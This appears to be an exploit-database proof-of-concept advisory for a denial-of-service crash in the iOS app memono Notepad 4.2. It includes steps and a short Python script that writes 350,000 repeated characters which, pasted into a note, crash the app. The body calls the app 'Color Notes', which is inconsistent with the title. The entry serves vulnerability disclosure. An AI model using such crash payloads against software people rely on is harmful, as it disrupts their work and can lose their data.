• # Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
  # Date: 06-09-2021
  # Author: Geovanni Ruiz
  # Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
  # Version: 4.2
  # Category: DoS (iOS)
  
  ##### Vulnerability #####
  
  Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
  
  # STEPS #
  # Open the program.
  # Create a new Note.
  # Run the python exploit script payload.py, it will create a new payload.txt file
  # Copy the content of the file "payload.txt"
  # Paste the content from payload.txt twice in the new Note.
  # Crashed
  
  Successful exploitation will cause the application to stop working.
  
  I have been able to test this exploit against iOS 14.2.
  
  ##### PoC #####
  --> payload.py <--
  #!/usr/bin/env python
  buffer = "\x41" * 350000
  
  try:
  f = open("payload.txt","w")
  f.write(buffer)
  f.close()
  print ("File created")
  except:
  print ("File cannot be created")
